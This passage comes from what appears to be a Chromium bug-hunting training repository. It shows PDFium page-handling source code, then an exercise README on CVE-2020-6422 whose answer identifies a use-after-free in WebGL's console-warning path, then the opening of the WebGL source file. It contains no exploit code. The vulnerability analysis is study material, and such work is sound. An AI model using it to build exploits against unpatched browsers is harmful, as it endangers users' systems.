link_rect.Union(rect); cur_info.bounds = gfx::RectF(link_rect.x(), link_rect.y(), link_rect.width(), link_rect.height()); link_info.push_back(std::move(cur_info)); } return link_info; } std::vector PDFiumPage::GetImageInfo() { std::vector image_info; if (!available_) return image_info; CalculateImages(); image_info.reserve(images_.size()); for (const Image& image : images_) { PDFEngine::AccessibilityImageInfo cur_info; cur_info.alt_text = image.alt_text; cur_info.bounds = gfx::RectF(image.bounding_rect.x(), image.bounding_rect.y(), image.bounding_rect.width(), image.bounding_rect.height()); image_info.push_back(std::move(cur_info)); } return image_info; } std::vector PDFiumPage::GetHighlightInfo() { std::vector highlight_info; if (!available_) return highlight_info; PopulateAnnotations(); highlight_info.reserve(highlights_.size()); for (const Highlight& highlight : highlights_) { PDFEngine::AccessibilityHighlightInfo cur_info; cur_info.start_char_index = highlight.start_char_index; cur_info.char_count = highlight.char_count; cur_info.bounds = gfx::RectF( highlight.bounding_rect.x(), highlight.bounding_rect.y(), highlight.bounding_rect.width(), highlight.bounding_rect.height()); cur_info.color = highlight.color; cur_info.note_text = highlight.note_text; highlight_info.push_back(std::move(cur_info)); } return highlight_info; } std::vector PDFiumPage::GetTextFieldInfo() { std::vector text_field_info; if (!available_) return text_field_info; PopulateAnnotations(); text_field_info.reserve(text_fields_.size()); for (const TextField& text_field : text_fields_) { PDFEngine::AccessibilityTextFieldInfo cur_info; cur_info.name = text_field.name; cur_info.value = text_field.value; cur_info.is_read_only = !!(text_field.flags & FPDF_FORMFLAG_READONLY); cur_info.is_required = !!(text_field.flags & FPDF_FORMFLAG_REQUIRED); cur_info.is_password = !!(text_field.flags & FPDF_FORMFLAG_TEXT_PASSWORD); cur_info.bounds = gfx::RectF( text_field.bounding_rect.x(), text_field.bounding_rect.y(), text_field.bounding_rect.width(), text_field.bounding_rect.height()); text_field_info.push_back(std::move(cur_info)); } return text_field_info; } PDFiumPage::Area PDFiumPage::GetLinkTargetAtIndex(int link_index, LinkTarget* target) { if (!available_ || link_index < 0) return NONSELECTABLE_AREA; CalculateLinks(); if (link_index >= static_cast(links_.size())) return NONSELECTABLE_AREA; *target = links_[link_index].target; return target->url.empty() ? DOCLINK_AREA : WEBLINK_AREA; } PDFiumPage::Area PDFiumPage::GetLinkTarget(FPDF_LINK link, LinkTarget* target) { FPDF_DEST dest_link = FPDFLink_GetDest(engine_->doc(), link); if (dest_link) return GetDestinationTarget(dest_link, target); FPDF_ACTION action = FPDFLink_GetAction(link); if (!action) return NONSELECTABLE_AREA; switch (FPDFAction_GetType(action)) { case PDFACTION_GOTO: { FPDF_DEST dest_action = FPDFAction_GetDest(engine_->doc(), action); if (dest_action) return GetDestinationTarget(dest_action, target); // TODO(crbug.com/55776): We don't fully support all types of the // in-document links. return NONSELECTABLE_AREA; } case PDFACTION_URI: return GetURITarget(action, target); // TODO(crbug.com/767191): Support PDFACTION_LAUNCH. // TODO(crbug.com/142344): Support PDFACTION_REMOTEGOTO. case PDFACTION_LAUNCH: case PDFACTION_REMOTEGOTO: default: return NONSELECTABLE_AREA; } } PDFiumPage::Area PDFiumPage::GetCharIndex(const gfx::Point& point, PageOrientation orientation, int* char_index, int* form_type, LinkTarget* target) { if (!available_) return NONSELECTABLE_AREA; gfx::Point device_point = point - rect_.OffsetFromOrigin(); double new_x; double new_y; FPDF_BOOL ret = FPDF_DeviceToPage(GetPage(), 0, 0, rect_.width(), rect_.height(), ToPDFiumRotation(orientation), device_point.x(), device_point.y(), &new_x, &new_y); DCHECK(ret); // hit detection tolerance, in points. constexpr double kTolerance = 20.0; int rv = FPDFText_GetCharIndexAtPos(GetTextPage(), new_x, new_y, kTolerance, kTolerance); *char_index = rv; FPDF_LINK link = FPDFLink_GetLinkAtPoint(GetPage(), new_x, new_y); int control = FPDFPage_HasFormFieldAtPoint(engine_->form(), GetPage(), new_x, new_y); // If there is a control and link at the same point, figure out their z-order // to determine which is on top. if (link && control > FPDF_FORMFIELD_UNKNOWN) { int control_z_order = FPDFPage_FormFieldZOrderAtPoint( engine_->form(), GetPage(), new_x, new_y); int link_z_order = FPDFLink_GetLinkZOrderAtPoint(GetPage(), new_x, new_y); DCHECK_NE(control_z_order, link_z_order); if (control_z_order > link_z_order) { *form_type = control; return FormTypeToArea(*form_type); } // We don't handle all possible link types of the PDF. For example, // launch actions, cross-document links, etc. // In that case, GetLinkTarget() will return NONSELECTABLE_AREA // and we should proceed with area detection. Area area = GetLinkTarget(link, target); if (area != NONSELECTABLE_AREA) return area; } else if (link) { // We don't handle all possible link types of the PDF. For example, // launch actions, cross-document links, etc. // See identical block above. Area area = GetLinkTarget(link, target); if (area != NONSELECTABLE_AREA) return area; } else if (control > FPDF_FORMFIELD_UNKNOWN) { *form_type = control; return FormTypeToArea(*form_type); } if (rv < 0) return NONSELECTABLE_AREA; return GetLink(*char_index, target) != -1 ? WEBLINK_AREA : TEXT_AREA; } // static PDFiumPage::Area PDFiumPage::FormTypeToArea(int form_type) { switch (form_type) { case FPDF_FORMFIELD_COMBOBOX: case FPDF_FORMFIELD_TEXTFIELD: #if defined(PDF_ENABLE_XFA) // TODO(bug_353450): figure out selection and copying for XFA fields. case FPDF_FORMFIELD_XFA_COMBOBOX: case FPDF_FORMFIELD_XFA_TEXTFIELD: #endif return FORM_TEXT_AREA; default: return NONSELECTABLE_AREA; } } base::char16 PDFiumPage::GetCharAtIndex(int index) { if (!available_) return L'\0'; return static_cast(FPDFText_GetUnicode(GetTextPage(), index)); } int PDFiumPage::GetCharCount() { if (!available_) return 0; return FPDFText_CountChars(GetTextPage()); } bool PDFiumPage::IsCharIndexInBounds(int index) { return index >= 0 && index < GetCharCount(); } PDFiumPage::Area PDFiumPage::GetDestinationTarget(FPDF_DEST destination, LinkTarget* target) { if (!target) return NONSELECTABLE_AREA; int page_index = FPDFDest_GetDestPageIndex(engine_->doc(), destination); if (page_index < 0) return NONSELECTABLE_AREA; target->page = page_index; base::Optional xy; GetPageDestinationTarget(destination, &xy, &target->zoom); if (xy) { gfx::PointF point = TransformPageToScreenXY(xy.value()); target->x_in_pixels = point.x(); target->y_in_pixels = point.y(); } return DOCLINK_AREA; } void PDFiumPage::GetPageDestinationTarget(FPDF_DEST destination, base::Optional* xy, base::Optional* zoom_value) { *xy = base::nullopt; *zoom_value = base::nullopt; if (!available_) return; FPDF_BOOL has_x_coord; FPDF_BOOL has_y_coord; FPDF_BOOL has_zoom; FS_FLOAT x; FS_FLOAT y; FS_FLOAT zoom; FPDF_BOOL success = FPDFDest_GetLocationInPage( destination, &has_x_coord, &has_y_coord, &has_zoom, &x, &y, &zoom); if (!success) return; if (has_x_coord && has_y_coord) *xy = gfx::PointF(x, y); if (has_zoom) *zoom_value = zoom; } gfx::PointF PDFiumPage::TransformPageToScreenXY(const gfx::PointF& xy) { if (!available_) return gfx::PointF(); gfx::RectF page_rect(xy.x(), xy.y(), 0, 0); gfx::RectF pixel_rect(FloatPageRectToPixelRect(GetPage(), page_rect)); return gfx::PointF(pixel_rect.x(), pixel_rect.y()); } PDFiumPage::Area PDFiumPage::GetURITarget(FPDF_ACTION uri_action, LinkTarget* target) const { if (target) { std::string url = CallPDFiumStringBufferApi( base::BindRepeating(&FPDFAction_GetURIPath, engine_->doc(), uri_action), /*check_expected_size=*/true); if (!url.empty()) target->url = url; } return WEBLINK_AREA; } int PDFiumPage::GetLink(int char_index, LinkTarget* target) { if (!available_) return -1; CalculateLinks(); // Get the bounding box of the rect again, since it might have moved because // of the tolerance above. double left; double right; double bottom; double top; if (!FPDFText_GetCharBox(GetTextPage(), char_index, &left, &right, &bottom, &top)) { return -1; } gfx::Point origin = PageToScreen(gfx::Point(), 1.0, left, top, right, bottom, PageOrientation::kOriginal) .origin(); for (size_t i = 0; i < links_.size(); ++i) { for (const auto& rect : links_[i].bounding_rects) { if (rect.Contains(origin)) { if (target) target->url = links_[i].target.url; return i; } } } return -1; } void PDFiumPage::CalculateLinks() { if (calculated_links_) return; calculated_links_ = true; PopulateWebLinks(); PopulateAnnotationLinks(); } void PDFiumPage::PopulateWebLinks() { ScopedFPDFPageLink links(FPDFLink_LoadWebLinks(GetTextPage())); int count = FPDFLink_CountWebLinks(links.get()); for (int i = 0; i < count; ++i) { // WARNING: FPDFLink_GetURL() is not compatible with // CallPDFiumWideStringBufferApi(). base::string16 url; int url_length = FPDFLink_GetURL(links.get(), i, nullptr, 0); if (url_length > 0) { PDFiumAPIStringBufferAdapter api_string_adapter( &url, url_length, true); unsigned short* data = reinterpret_cast(api_string_adapter.GetData()); int actual_length = FPDFLink_GetURL(links.get(), i, data, url_length); api_string_adapter.Close(actual_length); } Link link; link.target.url = base::UTF16ToUTF8(url); if (!engine_->IsValidLink(link.target.url)) continue; // Make sure all the characters in the URL are valid per RFC 1738. // http://crbug.com/340326 has a sample bad PDF. // GURL does not work correctly, e.g. it just strips \t \r \n. bool is_invalid_url = false; for (size_t j = 0; j < link.target.url.length(); ++j) { // Control characters are not allowed. // 0x7F is also a control character. // 0x80 and above are not in US-ASCII. if (link.target.url[j] < ' ' || link.target.url[j] >= '\x7F') { is_invalid_url = true; break; } } if (is_invalid_url) continue; int rect_count = FPDFLink_CountRects(links.get(), i); for (int j = 0; j < rect_count; ++j) { double left; double top; double right; double bottom; FPDFLink_GetRect(links.get(), i, j, &left, &top, &right, &bottom); gfx::Rect rect = PageToScreen(gfx::Point(), 1.0, left, top, right, bottom, PageOrientation::kOriginal); if (rect.IsEmpty()) continue; link.bounding_rects.push_back(rect); } FPDF_BOOL is_link_over_text = FPDFLink_GetTextRange( links.get(), i, &link.start_char_index, &link.char_count); DCHECK(is_link_over_text); links_.push_back(link); } } void PDFiumPage::PopulateAnnotationLinks() { int start_pos = 0; FPDF_LINK link_annot; FPDF_PAGE page = GetPage(); while (FPDFLink_Enumerate(page, &start_pos, &link_annot)) { Link link; Area area = GetLinkTarget(link_annot, &link.target); if (area == NONSELECTABLE_AREA) continue; FS_RECTF link_rect; if (!FPDFLink_GetAnnotRect(link_annot, &link_rect)) continue; // The horizontal/vertical coordinates in PDF Links could be // flipped. Swap the coordinates before further processing. if (link_rect.right < link_rect.left) std::swap(link_rect.right, link_rect.left); if (link_rect.bottom > link_rect.top) std::swap(link_rect.bottom, link_rect.top); int quad_point_count = FPDFLink_CountQuadPoints(link_annot); // Calculate the bounds of link using the quad points data. // If quad points for link is not present then use // |link_rect| to calculate the bounds instead. if (quad_point_count > 0) { for (int i = 0; i < quad_point_count; ++i) { FS_QUADPOINTSF point; if (FPDFLink_GetQuadPoints(link_annot, i, &point)) { // PDF Specifications: Quadpoints start from bottom left (x1, y1) and // runs counter clockwise. link.bounding_rects.push_back( PageToScreen(gfx::Point(), 1.0, point.x4, point.y4, point.x2, point.y2, PageOrientation::kOriginal)); } } } else { link.bounding_rects.push_back(PageToScreen( gfx::Point(), 1.0, link_rect.left, link_rect.top, link_rect.right, link_rect.bottom, PageOrientation::kOriginal)); } // Calculate underlying text range of link. GetUnderlyingTextRangeForRect( gfx::RectF(link_rect.left, link_rect.bottom, std::abs(link_rect.right - link_rect.left), std::abs(link_rect.bottom - link_rect.top)), &link.start_char_index, &link.char_count); links_.emplace_back(link); } } void PDFiumPage::CalculateImages() { if (calculated_images_) return; calculated_images_ = true; FPDF_PAGE page = GetPage(); int page_object_count = FPDFPage_CountObjects(page); MarkedContentIdToImageMap marked_content_id_image_map; bool is_tagged = FPDFCatalog_IsTagged(engine_->doc()); for (int i = 0; i < page_object_count; ++i) { FPDF_PAGEOBJECT page_object = FPDFPage_GetObject(page, i); if (FPDFPageObj_GetType(page_object) != FPDF_PAGEOBJ_IMAGE) continue; float left; float top; float right; float bottom; FPDF_BOOL ret = FPDFPageObj_GetBounds(page_object, &left, &bottom, &right, &top); DCHECK(ret); Image image; image.bounding_rect = PageToScreen(gfx::Point(), 1.0, left, top, right, bottom, PageOrientation::kOriginal); if (is_tagged) { // Collect all marked content IDs for image objects so that they can // later be used to retrieve alt text from struct tree for the page. FPDF_IMAGEOBJ_METADATA image_metadata; if (FPDFImageObj_GetImageMetadata(page_object, page, &image_metadata)) { int marked_content_id = image_metadata.marked_content_id; if (marked_content_id >= 0) { // If |marked_content_id| is already present, ignore the one being // inserted. marked_content_id_image_map.insert( {marked_content_id, images_.size()}); } } } images_.push_back(image); } if (!marked_content_id_image_map.empty()) PopulateImageAltText(marked_content_id_image_map); } void PDFiumPage::PopulateImageAltText( const MarkedContentIdToImageMap& marked_content_id_image_map) { ScopedFPDFStructTree struct_tree(FPDF_StructTree_GetForPage(GetPage())); if (!struct_tree) return; std::set visited_elements; int tree_children_count = FPDF_StructTree_CountChildren(struct_tree.get()); for (int i = 0; i < tree_children_count; ++i) { FPDF_STRUCTELEMENT current_element = FPDF_StructTree_GetChildAtIndex(struct_tree.get(), i); PopulateImageAltTextForStructElement(marked_content_id_image_map, current_element, &visited_elements); } } void PDFiumPage::PopulateImageAltTextForStructElement( const MarkedContentIdToImageMap& marked_content_id_image_map, FPDF_STRUCTELEMENT current_element, std::set* visited_elements) { if (!current_element) return; bool inserted = visited_elements->insert(current_element).second; if (!inserted) return; int marked_content_id = FPDF_StructElement_GetMarkedContentID(current_element); if (marked_content_id >= 0) { auto it = marked_content_id_image_map.find(marked_content_id); if (it != marked_content_id_image_map.end() && images_[it->second].alt_text.empty()) { images_[it->second].alt_text = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi( base::BindRepeating(&FPDF_StructElement_GetAltText, current_element), /*check_expected_size=*/true)); } } int children_count = FPDF_StructElement_CountChildren(current_element); for (int i = 0; i < children_count; ++i) { FPDF_STRUCTELEMENT child = FPDF_StructElement_GetChildAtIndex(current_element, i); PopulateImageAltTextForStructElement(marked_content_id_image_map, child, visited_elements); } } void PDFiumPage::PopulateAnnotations() { if (calculated_annotations_) return; FPDF_PAGE page = GetPage(); if (!page) return; int annotation_count = FPDFPage_GetAnnotCount(page); for (int i = 0; i < annotation_count; ++i) { ScopedFPDFAnnotation annot(FPDFPage_GetAnnot(page, i)); DCHECK(annot); FPDF_ANNOTATION_SUBTYPE subtype = FPDFAnnot_GetSubtype(annot.get()); switch (subtype) { case FPDF_ANNOT_HIGHLIGHT: { PopulateHighlight(annot.get()); break; } case FPDF_ANNOT_WIDGET: { PopulateFormField(annot.get()); break; } default: break; } } calculated_annotations_ = true; } void PDFiumPage::PopulateHighlight(FPDF_ANNOTATION annot) { DCHECK(annot); DCHECK_EQ(FPDFAnnot_GetSubtype(annot), FPDF_ANNOT_HIGHLIGHT); FS_RECTF rect; if (!FPDFAnnot_GetRect(annot, &rect)) return; Highlight highlight; // We use the bounding box of the highlight as the bounding rect. highlight.bounding_rect = PageToScreen(gfx::Point(), 1.0, rect.left, rect.top, rect.right, rect.bottom, PageOrientation::kOriginal); GetUnderlyingTextRangeForRect( gfx::RectF(rect.left, rect.bottom, std::abs(rect.right - rect.left), std::abs(rect.bottom - rect.top)), &highlight.start_char_index, &highlight.char_count); // Retrieve the color of the highlight. unsigned int color_r; unsigned int color_g; unsigned int color_b; unsigned int color_a; FPDF_PAGEOBJECT page_object = FPDFAnnot_GetObject(annot, 0); if (FPDFPageObj_GetFillColor(page_object, &color_r, &color_g, &color_b, &color_a)) { highlight.color = MakeARGB(color_a, color_r, color_g, color_b); } else { // Set the same default color as in pdfium. See calls to // GetColorStringWithDefault() in CPVT_GenerateAP::Generate*AP() in // pdfium. highlight.color = MakeARGB(255, 255, 255, 0); } // Retrieve the contents of the popup note associated with highlight. // See table 164 in ISO 32000-1 standard for more details around "Contents" // key in a highlight annotation. static constexpr char kContents[] = "Contents"; highlight.note_text = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi( base::BindRepeating(&FPDFAnnot_GetStringValue, annot, kContents), /*check_expected_size=*/true)); highlights_.push_back(std::move(highlight)); } void PDFiumPage::PopulateTextField(FPDF_ANNOTATION annot) { DCHECK(annot); FPDF_FORMHANDLE form_handle = engine_->form(); DCHECK_EQ(FPDFAnnot_GetFormFieldType(form_handle, annot), FPDF_FORMFIELD_TEXTFIELD); TextField text_field; if (!PopulateFormFieldProperties(annot, &text_field)) return; text_field.value = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi( base::BindRepeating(&FPDFAnnot_GetFormFieldValue, form_handle, annot), /*check_expected_size=*/true)); text_fields_.push_back(std::move(text_field)); } void PDFiumPage::PopulateChoiceField(FPDF_ANNOTATION annot) { DCHECK(annot); FPDF_FORMHANDLE form_handle = engine_->form(); int form_field_type = FPDFAnnot_GetFormFieldType(form_handle, annot); DCHECK(form_field_type == FPDF_FORMFIELD_LISTBOX || form_field_type == FPDF_FORMFIELD_COMBOBOX); ChoiceField choice_field; if (!PopulateFormFieldProperties(annot, &choice_field)) return; int options_count = FPDFAnnot_GetOptionCount(form_handle, annot); if (options_count < 0) return; choice_field.options.resize(options_count); for (int i = 0; i < options_count; ++i) { choice_field.options[i].name = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi( base::BindRepeating(&FPDFAnnot_GetOptionLabel, form_handle, annot, i), /*check_expected_size=*/true)); choice_field.options[i].is_selected = FPDFAnnot_IsOptionSelected(form_handle, annot, i); } choice_fields_.push_back(std::move(choice_field)); } void PDFiumPage::PopulateButton(FPDF_ANNOTATION annot) { DCHECK(annot); FPDF_FORMHANDLE form_handle = engine_->form(); int button_type = FPDFAnnot_GetFormFieldType(form_handle, annot); DCHECK(button_type == FPDF_FORMFIELD_PUSHBUTTON || IsRadioButtonOrCheckBox(button_type)); Button button; if (!PopulateFormFieldProperties(annot, &button)) return; button.type = button_type; if (IsRadioButtonOrCheckBox(button_type)) { button.control_count = FPDFAnnot_GetFormControlCount(form_handle, annot); if (button.control_count <= 0) return; button.control_index = FPDFAnnot_GetFormControlIndex(form_handle, annot); button.value = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi( base::BindRepeating(&FPDFAnnot_GetFormFieldExportValue, form_handle, annot), /*check_expected_size=*/true)); button.is_checked = FPDFAnnot_IsChecked(form_handle, annot); } buttons_.push_back(std::move(button)); } void PDFiumPage::PopulateFormField(FPDF_ANNOTATION annot) { DCHECK_EQ(FPDFAnnot_GetSubtype(annot), FPDF_ANNOT_WIDGET); int form_field_type = FPDFAnnot_GetFormFieldType(engine_->form(), annot); // TODO(crbug.com/1030242): Populate other types of form fields too. switch (form_field_type) { case FPDF_FORMFIELD_PUSHBUTTON: case FPDF_FORMFIELD_CHECKBOX: case FPDF_FORMFIELD_RADIOBUTTON: { PopulateButton(annot); break; } case FPDF_FORMFIELD_COMBOBOX: case FPDF_FORMFIELD_LISTBOX: { PopulateChoiceField(annot); break; } case FPDF_FORMFIELD_TEXTFIELD: { PopulateTextField(annot); break; } default: break; } } bool PDFiumPage::PopulateFormFieldProperties(FPDF_ANNOTATION annot, FormField* form_field) { DCHECK(annot); FS_RECTF rect; if (!FPDFAnnot_GetRect(annot, &rect)) return false; // We use the bounding box of the form field as the bounding rect. form_field->bounding_rect = PageToScreen(gfx::Point(), 1.0, rect.left, rect.top, rect.right, rect.bottom, PageOrientation::kOriginal); FPDF_FORMHANDLE form_handle = engine_->form(); form_field->name = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi( base::BindRepeating(&FPDFAnnot_GetFormFieldName, form_handle, annot), /*check_expected_size=*/true)); form_field->flags = FPDFAnnot_GetFormFieldFlags(form_handle, annot); return true; } bool PDFiumPage::GetUnderlyingTextRangeForRect(const gfx::RectF& rect, int* start_index, int* char_len) { if (!available_) return false; FPDF_TEXTPAGE text_page = GetTextPage(); int char_count = FPDFText_CountChars(text_page); if (char_count <= 0) return false; int start_char_index = -1; int cur_char_count = 0; // Iterate over page text to find such continuous characters whose mid-points // lie inside the rectangle. for (int i = 0; i < char_count; ++i) { double char_left; double char_right; double char_bottom; double char_top; if (!FPDFText_GetCharBox(text_page, i, &char_left, &char_right, &char_bottom, &char_top)) { break; } float xmid = (char_left + char_right) / 2; float ymid = (char_top + char_bottom) / 2; if (rect.Contains(xmid, ymid)) { if (start_char_index == -1) start_char_index = i; ++cur_char_count; } else if (start_char_index != -1) { break; } } if (cur_char_count == 0) return false; *char_len = cur_char_count; *start_index = start_char_index; return true; } gfx::Rect PDFiumPage::PageToScreen(const gfx::Point& page_point, double zoom, double left, double top, double right, double bottom, PageOrientation orientation) const { if (!available_) return gfx::Rect(); double start_x = (rect_.x() - page_point.x()) * zoom; double start_y = (rect_.y() - page_point.y()) * zoom; double size_x = rect_.width() * zoom; double size_y = rect_.height() * zoom; if (!base::IsValueInRangeForNumericType(start_x) || !base::IsValueInRangeForNumericType(start_y) || !base::IsValueInRangeForNumericType(size_x) || !base::IsValueInRangeForNumericType(size_y)) { return gfx::Rect(); } int new_left; int new_top; int new_right; int new_bottom; FPDF_BOOL ret = FPDF_PageToDevice( page(), static_cast(start_x), static_cast(start_y), static_cast(ceil(size_x)), static_cast(ceil(size_y)), ToPDFiumRotation(orientation), left, top, &new_left, &new_top); DCHECK(ret); ret = FPDF_PageToDevice( page(), static_cast(start_x), static_cast(start_y), static_cast(ceil(size_x)), static_cast(ceil(size_y)), ToPDFiumRotation(orientation), right, bottom, &new_right, &new_bottom); DCHECK(ret); // If the PDF is rotated, the horizontal/vertical coordinates could be // flipped. See // http://www.netl.doe.gov/publications/proceedings/03/ubc/presentations/Goeckner-pres.pdf if (new_right < new_left) std::swap(new_right, new_left); if (new_bottom < new_top) std::swap(new_bottom, new_top); base::CheckedNumeric new_size_x = new_right; new_size_x -= new_left; new_size_x += 1; base::CheckedNumeric new_size_y = new_bottom; new_size_y -= new_top; new_size_y += 1; if (!new_size_x.IsValid() || !new_size_y.IsValid()) return gfx::Rect(); return gfx::Rect(new_left, new_top, new_size_x.ValueOrDie(), new_size_y.ValueOrDie()); } void PDFiumPage::RequestThumbnail(float device_pixel_ratio, SendThumbnailCallback send_callback) { DCHECK(!thumbnail_callback_); if (available()) { GenerateAndSendThumbnail(device_pixel_ratio, std::move(send_callback)); return; } // It is safe to use base::Unretained(this) because the callback is only used // by |this|. thumbnail_callback_ = base::BindOnce( &PDFiumPage::GenerateAndSendThumbnail, base::Unretained(this), device_pixel_ratio, std::move(send_callback)); } Thumbnail PDFiumPage::GenerateThumbnail(float device_pixel_ratio) { DCHECK(available()); FPDF_PAGE page = GetPage(); gfx::Size page_size(base::saturated_cast(FPDF_GetPageWidthF(page)), base::saturated_cast(FPDF_GetPageHeightF(page))); Thumbnail thumbnail(page_size, device_pixel_ratio); SkBitmap& sk_bitmap = thumbnail.bitmap(); ScopedFPDFBitmap fpdf_bitmap(FPDFBitmap_CreateEx( sk_bitmap.width(), sk_bitmap.height(), FPDFBitmap_BGRA, sk_bitmap.getPixels(), sk_bitmap.rowBytes())); // Clear the bitmap. FPDFBitmap_FillRect(fpdf_bitmap.get(), /*left=*/0, /*top=*/0, sk_bitmap.width(), sk_bitmap.height(), /*color=*/0xFFFFFFFF); // The combination of the |FPDF_REVERSE_BYTE_ORDER| rendering flag and the // |FPDFBitmap_BGRA| format when initializing |fpdf_bitmap| results in an RGBA // rendering, which is the format required by HTML . FPDF_RenderPageBitmap(fpdf_bitmap.get(), GetPage(), /*start_x=*/0, /*start_y=*/0, sk_bitmap.width(), sk_bitmap.height(), /*rotate=*/0, FPDF_ANNOT | FPDF_REVERSE_BYTE_ORDER); return thumbnail; } void PDFiumPage::GenerateAndSendThumbnail(float device_pixel_ratio, SendThumbnailCallback send_callback) { std::move(send_callback).Run(GenerateThumbnail(device_pixel_ratio)); } void PDFiumPage::MarkAvailable() { available_ = true; // Fulfill pending thumbnail request. if (thumbnail_callback_) std::move(thumbnail_callback_).Run(); } PDFiumPage::ScopedUnloadPreventer::ScopedUnloadPreventer(PDFiumPage* page) : page_(page) { page_->preventing_unload_count_++; } PDFiumPage::ScopedUnloadPreventer::~ScopedUnloadPreventer() { page_->preventing_unload_count_--; } PDFiumPage::Link::Link() = default; PDFiumPage::Link::Link(const Link& that) = default; PDFiumPage::Link::~Link() = default; PDFiumPage::Image::Image() = default; PDFiumPage::Image::Image(const Image& that) = default; PDFiumPage::Image::~Image() = default; PDFiumPage::Highlight::Highlight() = default; PDFiumPage::Highlight::Highlight(const Highlight& that) = default; PDFiumPage::Highlight::~Highlight() = default; PDFiumPage::FormField::FormField() = default; PDFiumPage::FormField::FormField(const FormField& that) = default; PDFiumPage::FormField::~FormField() = default; PDFiumPage::TextField::TextField() = default; PDFiumPage::TextField::TextField(const TextField& that) = default; PDFiumPage::TextField::~TextField() = default; PDFiumPage::ChoiceFieldOption::ChoiceFieldOption() = default; PDFiumPage::ChoiceFieldOption::ChoiceFieldOption( const ChoiceFieldOption& that) = default; PDFiumPage::ChoiceFieldOption::~ChoiceFieldOption() = default; PDFiumPage::ChoiceField::ChoiceField() = default; PDFiumPage::ChoiceField::ChoiceField(const ChoiceField& that) = default; PDFiumPage::ChoiceField::~ChoiceField() = default; PDFiumPage::Button::Button() = default; PDFiumPage::Button::Button(const Button& that) = default; PDFiumPage::Button::~Button() = default; // static uint32_t PDFiumPage::CountLinkHighlightOverlaps( const std::vector& links, const std::vector& highlights) { return CountOverlaps(links, highlights) + CountInternalTextOverlaps(links) + CountInternalTextOverlaps(highlights); } int ToPDFiumRotation(PageOrientation orientation) { // Could static_cast(orientation), but using an exhaustive switch will // trigger an error if we ever change the definition of PageOrientation. switch (orientation) { case PageOrientation::kOriginal: return 0; case PageOrientation::kClockwise90: return 1; case PageOrientation::kClockwise180: return 2; case PageOrientation::kClockwise270: return 3; } NOTREACHED(); return 0; } } // namespace chrome_pdf ================================================ FILE: LEVEL_2/exercise_7/README.md ================================================ # Exercise 7 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. ## CVE-2020-6422 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 2, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1166091
-------- ### Set environment after you fetch chromium ```sh git reset --hard a8b9044e5a317034dca14763906aed6fa743ab58 ``` ### Related code third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc tips: Not all delete operation set `var` null. In some cases we need save the destoried var for next step. The bug is in the last quarter of the source code. ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer This cve describes a type of vulnerability for us. ```c++ void WebGLRenderingContextBase::PrintWarningToConsole(const String& message) { blink::ExecutionContext* context = Host()->GetTopExecutionContext(); if (context) { [1] context->AddConsoleMessage(MakeGarbageCollected( mojom::ConsoleMessageSource::kRendering, mojom::ConsoleMessageLevel::kWarning, message)); } } ``` `if (context)` can not check whether the `context` has been destoried, and then it can cause uap. We need check `context->IsContextDestroyed()`. ```c++ // Now that the context and context group no longer hold on to the // objects they create, and now that the objects are eagerly finalized // rather than the context, there is very little useful work that this // destructor can do, since it's not allowed to touch other on-heap // objects. All it can do is destroy its underlying context, which, if // there are no other contexts in the same share group, will cause all of // the underlying graphics resources to be deleted. (Currently, it's // always the case that there are no other contexts in the same share // group -- resource sharing between WebGL contexts is not yet // implemented, and due to its complex semantics, it's doubtful that it // ever will be.) void WebGLRenderingContextBase::DestroyContext() { if (!GetDrawingBuffer()) return; clearProgramCompletionQueries(); extensions_util_.reset(); base::RepeatingClosure null_closure; base::RepeatingCallback null_function; GetDrawingBuffer()->ContextProvider()->SetLostContextCallback( std::move(null_closure)); GetDrawingBuffer()->ContextProvider()->SetErrorMessageCallback( std::move(null_function)); DCHECK(GetDrawingBuffer()); drawing_buffer_->BeginDestruction(); drawing_buffer_ = nullptr; } ``` Do this cve for exercise aims to let you know this type of vulnerability.
-------- ================================================ FILE: LEVEL_2/exercise_7/webgl_rendering_context_base.cc ================================================ /* * Copyright (C) 2009 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h" #include #include #include "base/feature_list.h" #include "base/numerics/checked_math.h" #include "base/stl_util.h" #include "build/build_config.h" #include "gpu/GLES2/gl2extchromium.h" #include "gpu/command_buffer/client/gles2_interface.h" #include "gpu/command_buffer/common/capabilities.h" #include "gpu/config/gpu_feature_info.h" #include "third_party/blink/public/common/features.h" #include "third_party/blink/public/platform/platform.h" #include "third_party/blink/public/platform/task_type.h" #include "third_party/blink/renderer/bindings/modules/v8/html_canvas_element_or_offscreen_canvas.h" #include 